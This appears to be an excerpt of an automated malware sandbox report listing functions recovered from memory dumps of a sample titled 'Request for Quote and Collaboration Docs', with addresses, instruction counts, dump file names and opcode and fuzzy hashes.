Opcode Fuzzy Hash: e367527ed9f78ded71b46199160dccf2cac2e908e4f786f43d9d981432cf3a6a
Instruction Fuzzy Hash: E0319E31205209EFCF05AFA4DC95AAE7BA2FB88301F508025F91597255DB35DE61DFA0

Function 3A62E588 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9190191410b2764bf6d4a59e9810d5d058f6597f8f14990c9e2b58d25c94fda4
Instruction ID: 7c9923131d1185cac74c87ab7b54c2a6a6a1abb4bd33ac81f82f099a9bbb48c8
Opcode Fuzzy Hash: 9190191410b2764bf6d4a59e9810d5d058f6597f8f14990c9e2b58d25c94fda4
Instruction Fuzzy Hash: 59316C34B002929FFB1587B8C89452DBF72BF4921030A4276D458DB662DB30DD41CFD2

Function 398A4351 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c9577fa3fb9fafa5c9b1963d8129c5ca7e75fa8e19e9481684dcf0862949a2
Instruction ID: 1a804d28a9ddf842d1ea2d264342f76cead4bce2a29bbacc97da550ff820f066
Opcode Fuzzy Hash: 33c9577fa3fb9fafa5c9b1963d8129c5ca7e75fa8e19e9481684dcf0862949a2
Instruction Fuzzy Hash: DE31F235A002098FDB44DBA8C481E9DBBB2AFC8320F195558E605AB361DA71EC85CB91

Function 398A4385 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d82ba2aab40d252012fbc2b476751c3346614bd98e53102160473ba1f3c2ec08
Instruction ID: cb7e0011bfa9c1a47e46ccf73b8c8c2417d102655b973ea611b0d18d227ea4f8
Opcode Fuzzy Hash: d82ba2aab40d252012fbc2b476751c3346614bd98e53102160473ba1f3c2ec08
Instruction Fuzzy Hash: 2231F435B002098FDB44DBA8C491E9DBBB2EFC8320F156558E605AF362DA71ED85CB91

Function 3A638461 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0198c85fd01b87a6121cf87a929a7fb2c1eabfee083eca03d112c982556f07
Instruction ID: 6c83f2b41be34c8709957db8a6fc6556bec5ab1375ffeb79f4be7bb546cbacc2
Opcode Fuzzy Hash: db0198c85fd01b87a6121cf87a929a7fb2c1eabfee083eca03d112c982556f07
Instruction Fuzzy Hash: A031E174E022488BDB49DFAAD8406EDBBB2BFC9300F14D12AD418AB265EB745906CF50

Function 3A6270AF Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a9156fa1937e7ddbdf061011f911decf2c5fbcdabf6b03d5fc0f385f4dbfea
Instruction ID: 0152b71d07f2359899952e259c6e377945c53b71eec3838bf0a7037fc858e956
Opcode Fuzzy Hash: 34a9156fa1937e7ddbdf061011f911decf2c5fbcdabf6b03d5fc0f385f4dbfea
Instruction Fuzzy Hash: E731D474E012488FEB58DFEAD8406DDBBB2AFCA300F54D12AC418BB255EB355946CF51

Function 3A6321A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 245b3e519d0a8f9f91708f17e602812ab25f572ce70f4c0c7ee25d6d04bacb5b
Instruction ID: 46d26344827a0d87b7d67e012fd17d67f3dc6a6537748f2cc90958ddb1d9f12e
Opcode Fuzzy Hash: 245b3e519d0a8f9f91708f17e602812ab25f572ce70f4c0c7ee25d6d04bacb5b
Instruction Fuzzy Hash: A431E374E022488BDB48CFBAD9506DEBBF2AF89300F64D02AC419BB265DB355946CF50

Function 3A6273D0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a879659c59535ed87913fd984e53b25e0b8be217d321e42de93979b7f8b049
Instruction ID: ccc65d87792d556b1d30d1144d6a0f4f4f7f5f42ffaa39e34c9a03ca7bdc8d15
Opcode Fuzzy Hash: 44a879659c59535ed87913fd984e53b25e0b8be217d321e42de93979b7f8b049
Instruction Fuzzy Hash: 1831F574D012489FEB18DFEAD950ADDBBF2AF89300F24D129D418BB255DB355942CF50

Function 3A63FB22 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d7171fc8e7bdd3b16f555ea8dc510988bb519d7dea1d794896f70f84e36a1f
Instruction ID: abfb25cff910d441dc48943211a10cb8b6bb05e85ef0fc1fb9c65714cdb55c44
Opcode Fuzzy Hash: 28d7171fc8e7bdd3b16f555ea8dc510988bb519d7dea1d794896f70f84e36a1f
Instruction Fuzzy Hash: C031D274E012488FDB48CFAAD840ADDBBB2BFC9300F14D12AC419BB265DB354946CF10

Function 398A48D0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68755768453e0c08b572ce9f39bd8c13a91235a073a3b36bb064f85b90f56039
Instruction ID: d2691e7a9400dee1af79c4d75e206a49c7ff88cad3c71830e9bf0f93234f2fca
Opcode Fuzzy Hash: 68755768453e0c08b572ce9f39bd8c13a91235a073a3b36bb064f85b90f56039
Instruction Fuzzy Hash: E53139306083849FDB05AB79C851A9E7FBAEFCA310F5480BAE5058B662CF318D56CB51

Function 3A62D401 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d42bf3f5fff8090675f309e7a31f355e1f1794a958342206cb4da03a956fcf
Instruction ID: b307d1e3b0a80d7e027485ca76493e72ec7daacc1568d7bc3cd3cf59c6fd2deb
Opcode Fuzzy Hash: 68d42bf3f5fff8090675f309e7a31f355e1f1794a958342206cb4da03a956fcf
Instruction Fuzzy Hash: FA31E274E012488FEB58CFAAC9506DDBBF2AFC9300F64D12AC418BB265EB355946CF50

Function 398AFC5A Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f960833f2920f419a8ac933c5adbcd418438ac3d7991cc6a4e2e46dc6e2d8533
Instruction ID: 54f82bf9d52211c52c08b30eaa42ae29d937d4f20ba9c267c16eaa1f0741604f
Opcode Fuzzy Hash: f960833f2920f419a8ac933c5adbcd418438ac3d7991cc6a4e2e46dc6e2d8533
Instruction Fuzzy Hash: EC31BF75E012588BEB48CFAAD8406EDBBB2BFC9300F54D12AD418BB265EB345942CF54

Function 00168380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2125fcb199b11465f45bc3b23623b09407d5932248d9ec05c3d7119a6e5a7966
Instruction ID: adb3a3834ed0ee1c8348cd4b4699280c26bf55e4b8a1d9431ab4a60578e5c0a1
Opcode Fuzzy Hash: 2125fcb199b11465f45bc3b23623b09407d5932248d9ec05c3d7119a6e5a7966
Instruction Fuzzy Hash: 6D2180303042124BDB186B698C5477E3696EFD8758F148139E506CB7A8EF75CC92E791

Function 3A6381EA Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f47c3f26fd4d1762ea6516f0182c5758920c18358ab05cbc42bf1a86ce7da824
Instruction ID: 2c269ac0ee4c49ae0706dda2e5b2d829129f033f582545a80ee66985ab178e56
Opcode Fuzzy Hash: f47c3f26fd4d1762ea6516f0182c5758920c18358ab05cbc42bf1a86ce7da824
Instruction Fuzzy Hash: 5931B574E012489BDB48DFAAD5506DDFBF2AFC9300F24D12AC418BB2A4DB355942CF50

Function 001628F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b36dbebe8d92a9bafa8f9696eb29b217c2014f86acaff570027b02a2055efd11
Instruction ID: 64f880a59f2cf1e852330d58a4f644c1a4d4db83416a3a8783a5c408d4a304e5
Opcode Fuzzy Hash: b36dbebe8d92a9bafa8f9696eb29b217c2014f86acaff570027b02a2055efd11
Instruction Fuzzy Hash: 6621A135A005569FCF14DB64D8409AE77A5EFDD364F61C059E8099B380DB31EE42CBD1

Function 0009D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3977812899.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61480dec8fc1b215f2a718d3366f5edf43758c140425c646fe47fb1bc0593a47
Instruction ID: 694f16f99e99916dab6092a1db94ca1c604c84146d2665d76464e85a0e954d17
Opcode Fuzzy Hash: 61480dec8fc1b215f2a718d3366f5edf43758c140425c646fe47fb1bc0593a47
Instruction Fuzzy Hash: 00212576544240EFDF14DF14D9C0F2ABFA1FB88318F24C56AE9090B256C336D856EBA2

Function 00166300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3c4628fcbdb0446c561764441f77fa75f2344235807deba082f2e93d7bc804
Instruction ID: 255febb7bf65358230ea4d055b5957d0b11a6e15890c5ca7b80ffd3b22abb26d
Opcode Fuzzy Hash: 8c3c4628fcbdb0446c561764441f77fa75f2344235807deba082f2e93d7bc804
Instruction Fuzzy Hash: 9F21E135701A118FC7299B2ACC9493EB7A2FFC97517154578E80ADB7A8CF30DC028B90

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3977845854.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93596f694bc0bb7f892e90cf65b181372eb996e53adb225fa9b36006f321ab4f
Instruction ID: 20ec6c540e6065ee62958b8e84e27e8b4a0d527de3ca95a6e9a3d463915acc9b
Opcode Fuzzy Hash: 93596f694bc0bb7f892e90cf65b181372eb996e53adb225fa9b36006f321ab4f
Instruction Fuzzy Hash: A6214975504304EFCB24CF60D9C0F26BBA1FB85314F20C66EE94A4B652C77AD846CA61

Function 0016AEF0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0569694eab266f55b9ea4870437652b5560f6001379e2eb38e238983cb01082
Instruction ID: 6da125bc88da6ee3f3fdfaf407be5b74488bb27f0fc55702e6e571827bb10373
Opcode Fuzzy Hash: e0569694eab266f55b9ea4870437652b5560f6001379e2eb38e238983cb01082
Instruction Fuzzy Hash: F821E472B00204DBCB148F64DC84ADEBBB6FF8C710F14806AF901A7260DB31AD50CBA1

Function 00164285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a2f7f6c46fda36c759762e51a02aa827cb5ccd0a65496b2f06f5222fea4f96
Instruction ID: 5ad08b841e3f9d104691970cbec201deb4409e488fd6ac9775d1b6f670328f0c
Opcode Fuzzy Hash: a1a2f7f6c46fda36c759762e51a02aa827cb5ccd0a65496b2f06f5222fea4f96
Instruction Fuzzy Hash: 1D319F78E12249CFCB48DFA8D59489DBBB2FF49311B209069E809AB324D735AD52CF00

Function 398A49E0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31e14042e4ba56567da9f9873c696540204066a9d0ca2a492656144e06eeb8b9
Instruction ID: 851d42ed5a6dd2e543e1a623767cfba5cd26764963f9e55b76b72dff330b29f2
Opcode Fuzzy Hash: 31e14042e4ba56567da9f9873c696540204066a9d0ca2a492656144e06eeb8b9
Instruction Fuzzy Hash: 781148352083844FDB022778AC5599E7FAEDFC62103144177F645CB663CA258C57CB61

Function 00169761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 272d038f3bd0ee6c61b31f33936bcaf56aad7634f486ed17c8cd16cc170ffd9c
Instruction ID: 3e3e87f08a535da66427aac5f09fc81b8a9b0c9328d958d8b632e4035d268621
Opcode Fuzzy Hash: 272d038f3bd0ee6c61b31f33936bcaf56aad7634f486ed17c8cd16cc170ffd9c
Instruction Fuzzy Hash: 16217A34E012489FCB05CFA5D990AEEBFBAAF49305F248069E411F7290DB34DA41DF60

Function 398A992C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08526cd1ff12300fa5b9b9157cf4f73cd3e2dd32642ae02f1bde0183431b0b42
Instruction ID: 541c36d36d2b553b382c846dae76c8d924392ca273122fa85b66ab8ed0d172e9
Opcode Fuzzy Hash: 08526cd1ff12300fa5b9b9157cf4f73cd3e2dd32642ae02f1bde0183431b0b42
Instruction Fuzzy Hash: 49115C78E042598FEB04CBA9D884F9DB7B5FBC8304F148259E804A7252DB76ED42CB50

Function 001627F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f1f7690ac15870f06a01b1715445f53d1c2ea0adfa4b0166db78556e72a8db4
Instruction ID: f223fa29b8fccf199b21961d19a511f4dd2e240eb55791431919b3d6f8cf23c7
Opcode Fuzzy Hash: 0f1f7690ac15870f06a01b1715445f53d1c2ea0adfa4b0166db78556e72a8db4
Instruction Fuzzy Hash: 4921EE74D0520A8FCB01EFB8D8445EEBBF4BF4A300F14526AD805B3220EB345A85CBA1

Function 398A4C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc5dedd57d84dcf2e82ec9e03061b44ede58aa4d8d557065a018c184f033026
Instruction ID: 163d632d44fb5b5d8313f763720805d8b757cac94396a38bb8d41de4c22a9b2a
Opcode Fuzzy Hash: ccc5dedd57d84dcf2e82ec9e03061b44ede58aa4d8d557065a018c184f033026
Instruction Fuzzy Hash: 07118E35E013198FDF54EFB8844469EBBFAAFC8250B51413DD419A7201EB3AAD52CBE1

Function 0009D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3977812899.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8229baca035a1073bcbdb482c344a940d5624f2beee4fa0fdd23d0c518112333
Instruction ID: 5f9593b50efe33a75fa9830014b5a0494dde228b996ba5eb73bb00906d145a11
Opcode Fuzzy Hash: 8229baca035a1073bcbdb482c344a940d5624f2beee4fa0fdd23d0c518112333
Instruction Fuzzy Hash: 11112676544280CFCF01CF10D5C0B16BFB1FB84314F24C5AAD8090B616C33AD856DBA2

Function 000AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3977845854.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d625638d9ef4390f6d154392f6b490a858d960df08275dd3a3ce42ca24e1c644
Instruction ID: 2da4691c6228fabcc40ddb7379e8b8e7a1be98b2c4c5d33b81364d485da5ea00
Opcode Fuzzy Hash: d625638d9ef4390f6d154392f6b490a858d960df08275dd3a3ce42ca24e1c644
Instruction Fuzzy Hash: 4311D075504284DFCB11CF50C5C4B15BBA1FB45314F24C6AED84A4B652C33AD84ACF52

Function 00165E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd6eedbb12845f62bed9bc6af42abe7e674e3ca194ad104c70630c5a63dc2d1
Instruction ID: b65b317b50ebe0be9502f4a00b8101233193d9275e3d5e40d80ad847d58f6850
Opcode Fuzzy Hash: dfd6eedbb12845f62bed9bc6af42abe7e674e3ca194ad104c70630c5a63dc2d1
Instruction Fuzzy Hash: 7C01F532B04255AFCF059E589C50AAF7BABDBC9750F144026F944D7291CF328E21DB91

Function 3A62EBE2 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8ca8a554037f852eb76ad75056f82cec1dbffd5f7c4e5f00c2749ffb99834e
Instruction ID: 85577920f7fc6126e8c49f69e4c0468482f3d76703733ccc67c4930f481aaa23
Opcode Fuzzy Hash: ba8ca8a554037f852eb76ad75056f82cec1dbffd5f7c4e5f00c2749ffb99834e
Instruction Fuzzy Hash: EA11EDB1B402518FDB90DBBCD80898E7FF5AF89201B4501BAE885DB321DA30CD02CF91

Function 398A3248 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f8089d864f6de0ae80ca4f06115b555166524d6d05fc3d31cf513ce10488cc
Instruction ID: b94a3783e89d503fbb6f59968f813fbc8819aba35a7d553423e02f0defb6df10
Opcode Fuzzy Hash: 27f8089d864f6de0ae80ca4f06115b555166524d6d05fc3d31cf513ce10488cc
Instruction Fuzzy Hash: CC019E71A04219AF8B509F69CC459DF7BB9EBC9250B00453AFC19A3241E7344962CBA1

Function 398A44CF Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1e3e0c8859deab71d4df989b73d8184db416e6bdf8d69b9c5cdff78a375a58
Instruction ID: 7f5242ec70e97aa1949c673ad312673823051262f261f6ba4beba746a39327ee
Opcode Fuzzy Hash: de1e3e0c8859deab71d4df989b73d8184db416e6bdf8d69b9c5cdff78a375a58
Instruction Fuzzy Hash: C7017175A001089F8F50DFA9D8819DEBFFAEF98350B40416AE90897215DB709A568B91

Function 398A4C98 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1601b563b3deabb4e7cbd5c5fa9a9475a48c9315f5b383102b9f5af7283b9f77
Instruction ID: 55aae2405da9c77870555429142726a81c0b6f20a65d0755697d29b13d65aab7
Opcode Fuzzy Hash: 1601b563b3deabb4e7cbd5c5fa9a9475a48c9315f5b383102b9f5af7283b9f77
Instruction Fuzzy Hash: 40F0F6327082505FCB055B6DA45199FBBADDFC566070540AFE408CB362DB37D801CB90

Function 398A4640 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5efc4119083de6dfe72449648d45af67d07bb0df61be823edff4b80902a76e8
Instruction ID: 766c58dacad72983b4f751ae8dee7d01aaf3f9cdd7f360705123b76eb45576c5
Opcode Fuzzy Hash: d5efc4119083de6dfe72449648d45af67d07bb0df61be823edff4b80902a76e8
Instruction Fuzzy Hash: 66015A793006008FEB04DB39D589A56B7E5EFD8761F21847DE1098B762CAB0EC04CB50

Function 398A3258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b432c6eac6d1761f31c36035926c58098ffc4b8634ff636bd607f46150f4d7d
Instruction ID: a99c0562f254f3e9835392c52144045360c5838923ee1bba7e16d8d349836348
Opcode Fuzzy Hash: 1b432c6eac6d1761f31c36035926c58098ffc4b8634ff636bd607f46150f4d7d
Instruction Fuzzy Hash: E8019E35A04319EFDB849F64C809AAE7BB9FBC9390B004039E91AA3241DB349911CBA0

Function 0016E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a646e0eaac59c8dcf03ce22e422229060e78b3b0643cbb4017cecd87a42f43ec
Instruction ID: 01b8538f06aabcb50601a58f7fc3fd00d5341ec5b4e0f9ddbe8b16cea86ed670
Opcode Fuzzy Hash: a646e0eaac59c8dcf03ce22e422229060e78b3b0643cbb4017cecd87a42f43ec
Instruction Fuzzy Hash: DA1135B4D0424AAFDB01CFE8C844AAEFBB1FF8A300F8041A6E810A3350D7345A16CF91

Function 0016ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f32ad521917b782600c66324aa98ef6fd3babf0ada634b09b3d6c88920ed0776
Instruction ID: 250bfd06b0830307696bedf2ac815c640686163cf92713802ec1f6710a27b496
Opcode Fuzzy Hash: f32ad521917b782600c66324aa98ef6fd3babf0ada634b09b3d6c88920ed0776
Instruction Fuzzy Hash: 2EF096313006104BC7155A2E9C54A2AB6DEEFC9B553994079E909D7361EF61CC538B91

Function 00169D59 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193592f3f9186a2e5b04e063ca695446dc6b4390ffa47757d4dbc716ee1b6022
Instruction ID: 30372af746529fcfbd9999e92ec515cf17447aae77e6a81405db394574180eba
Opcode Fuzzy Hash: 193592f3f9186a2e5b04e063ca695446dc6b4390ffa47757d4dbc716ee1b6022
Instruction Fuzzy Hash: DCF044353002146FDB195AA59C5097EBA9FEBC83A0B148429BA09C7351DF71CC1193A1

Function 3A62EB58 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

